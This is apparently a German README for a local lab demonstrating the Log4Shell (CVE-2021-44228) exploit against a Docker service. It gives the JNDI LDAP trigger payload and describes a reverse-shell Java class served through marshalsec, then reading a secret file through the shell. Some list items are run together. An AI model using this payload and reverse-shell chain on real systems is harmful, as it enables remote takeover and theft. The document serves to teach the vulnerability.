
Zeigt, wie die Sicherheitslücke CVE-2021-44228 ausgenutzt wird.
Ein Java-basiertes Projekt, das zeigt, wie die Schwachstelle CVE-2021-44228 ausgenutzt werden kann.
jdk1.8.0_181, das bei der Extraktion erstellt wurde.make all aus, um alle Projekte zu bauen und ein Docker-Image mit dem verwundbaren Dienst zu erstellen.make start-vulnerable-service, um einen Docker-Container zu starten, der den auszubeutenden Dienst ausführt. Der Dienst ist über Port 8080 der lokalen Maschine erreichbar.make start-nc, um einen TCP-Listener zu starten, der auf die Verbindung mit dem angegriffenen Server wartet.make start-exploiter, um das Programm zu starten, das uns bei der Ausnutzung der Schwachstelle hilft.make start-nc ausgeführt wurde). Möglicherweise haben Sie eine Nachricht wie Connection received on 172.24.0.2 46638 erhalten (IP-Adresse und TCP-Port können von den hier gezeigten abweichen). Dies bedeutet, dass der Exploit funktioniert hat und wir jetzt eine Shell auf dem Server/Docker-Container haben.Bevor wir das beantworten, werfen wir einen Blick auf die Prozesse, die im Ablauf erstellt werden.

Dieser Docker-Container stellt einen einfachen HTTP-Dienst bereit, der GET-Anfragen auf dem Pfad /log mit einem input-Parameter empfängt. Sobald er sie erhält, protokolliert er die Eingabe auf der Konsole.
Um die Schwachstelle auszunutzen, sind einige spezifische Konfigurationen erforderlich:
1.8.0_181. Dies ist notwendig, um das Laden einer Java-Klasse von einem externen Dienst zu ermöglichen.spring-boot-starter-logging:2.6.1 durch spring-boot-starter-log4j2:2.6.1 zu ersetzen. Letzteres bringt log4j-core:2.14.1 in das Projekt, eine Version, die für CVE-2021-44228 anfällig ist.
1.8.0_181 erstellt.Hier gibt es keine großen Erklärungen oder Anpassungen. Dies ist ein einfaches Programm zum Lesen und Schreiben von Daten über die TCP- und UDP-Protokolle. Wir werden es verwenden, um auf eingehende TCP-Verbindungen auf Port 9001 zu lauschen (etwas anderes wird diese Verbindung für uns auf der Serverseite öffnen. 😉).
Sobald die Verbindung hergestellt ist, werden alle eingehenden Daten auf der Konsole ausgegeben. Auch alle geschriebenen Eingaben werden über diese Verbindung gesendet.
Hier beginnt der Spaß!
Dieses Programm kapselt mehrere Schritte, die zur Ausnutzung der Schwachstelle erforderlich sind. Lassen Sie es uns aufschlüsseln:
Um dieses Programm auszuführen, müssen wir drei Parameter angeben:
Sobald das Programm startet, schreibt es einen Java-Code basierend auf einer Vorlage. Diese Vorlage erfordert zwei Argumente: die Netcat-IP-Adresse und den Port.
Sobald der Code geschrieben ist, wird das Programm ihn mit dem Java-Compiler (javac) in der Version 1.8.0_181 in eine binäre Klassendatei kompilieren. Dies ist wichtig, um die gleiche Code-Version wie der ausgenutzte Dienst beizubehalten.
Die Exploit-Java-Klasse hat eine recht einfache Struktur. In ihrem Konstruktor gibt es eine Anweisung, die das Betriebssystem auffordert, ein Shell-Programm zu erstellen. Sobald dieses erstellt ist, öffnet die Klasse eine TCP-Verbindung mit Netcat, verbindet die Ein- und Ausgaben der Shell und der TCP-Verbindung und fängt die Ausführung der Java Virtual Machine in einer Schleife, bis die Verbindung von Netcat geschlossen wird. Sobald sie die Schleife verlässt, fährt der Konstruktor fort, als ob nichts passiert wäre.
Der Exploiter öffnet einen Unterprozess, der die Ausführung des Marshalsec-Java-Programms anfordert. Das Marshalsec-Programm ist auf dem mbechler/marchalsec Github-Projekt verfügbar.
Neben anderen Funktionen verwaltet es LDAP-Anfragen und kann verwendet werden, um eingehende Verbindungen aufzufordern, Anfragen durch Herunterladen von Java-Klassen von einer externen Quelle aufzulösen. In unserem Fall werden wir es verwenden, um eingehende Verbindungen aufzufordern, unsere Exploit-Java-Klasse vom HTTP-Dienst herunterzuladen.
Sobald das Exploiter-Programm die präparierte Java-Klasse erstellt hat, startet es einen HTTP-Dienst mit einer einzigen Antwort: Die binäre Exploit-Java-Klasse.
Kurz gesagt, wenn der verwundbare Dienst das Laden der externen Klasse anfordert, liest dieser Dienst die binäre Java-Klassendatei und sendet sie zurück an den verwundbaren Dienst. So einfach ist das!
Sobald alles läuft, gibt das Programm die HTTP-Anfrage aus, die zum Auslösen des Exploits erforderlich ist. Kopieren Sie sie einfach in Ihren bevorzugten Browser oder verwenden Sie curl über ein Terminal, was für Sie am besten funktioniert!
Die Anfrage wird etwa so aussehen:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
Da die Abfrageparameter Sonderzeichen enthalten, müssen sie kodiert werden, damit der Browser sie akzeptieren kann. Wenn wir sie dekodieren, lautet die Nachricht:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
Hier ist ein vereinfachtes Diagramm dessen, was passiert, sobald die Anfrage gesendet wird:

Ich werde versuchen, es zu verwenden, um zu erklären, was als nächstes passiert:
${jndi:ldap://host.docker.internal:1389/a}.host.docker.internal:1389 mit dem Schlüssel a abgerufen werden (ein eher langweiliger und ungültiger LDAP Distinguished Name, aber hey, solange es funktioniert...). Log4j sendet dann eine Anfrage an diese Adresse mit der Absicht, den Wert abzurufen.Beobachtung: host.docker.internal ist eine gültige Adresse aus dem Docker-Dienst, um die physische Maschine zu erreichen, auf der er läuft.
host.docker.internal:8000 mit dem Namen Exploit verfügbar ist, um die Anfrage aufzulösen.host.docker.internal:8000 und fordert eine Ressource unter dem Pfad /Exploit an.Exploit-Java-Klasse.Exploit()-Konstruktormethode ausführt.Exploit()-Konstruktormethode startet ein Shell-Programm auf dem Server und fordert die Öffnung eines TCP-Kanals mit host.docker.internal:9001 an.Exploit()-Konstruktormethode verbindet dann die Shell-Ein- und -Ausgaben mit der TCP-Verbindung und fängt den Java-Virtual-Machine-Thread in einer Schleife, bis die TCP-Verbindung von der anderen Seite geschlossen wird.TBD
kozmer/log4j-shell-poc Github-Projekt - Es half mir zu verstehen, wie der Exploit funktioniert. Vielen Dank an alle, die zu diesem Projekt beigetragen haben!
mbechler/marchalsec Github-Projekt - Ohne dieses Projekt wäre ich nicht in der Lage gewesen, so schnell mit LDAP-Kommunikation und Weiterleitung zu arbeiten. Danke Leute!
SrcCodes Log4j Schwachstelle Video - Ein gut erklärtes Video, das zeigt, wie man den Exploit auf einem Spring-basierten Programm startet.
Nowcomm CVE-2021-44228 Exploit-Demo-Video - Ein schönes Video, das erklärt, wie man CVE-2021-44228 auf Apache Solr ausnutzt. Ich musste die zweite Hälfte etwa ein Dutzend Mal ansehen, um zu verstehen, was tatsächlich passiert! 😛
whoami auszuführen. Sie erhalten möglicherweise root als Ausgabe.cat ../private-directory/my-secret-file.txt auszuführen, um zu sehen, was passiert. 🙂STRG+C, um die Verbindung zu schließen.STRG+C drücken, um die Prozesse zu unterbrechen.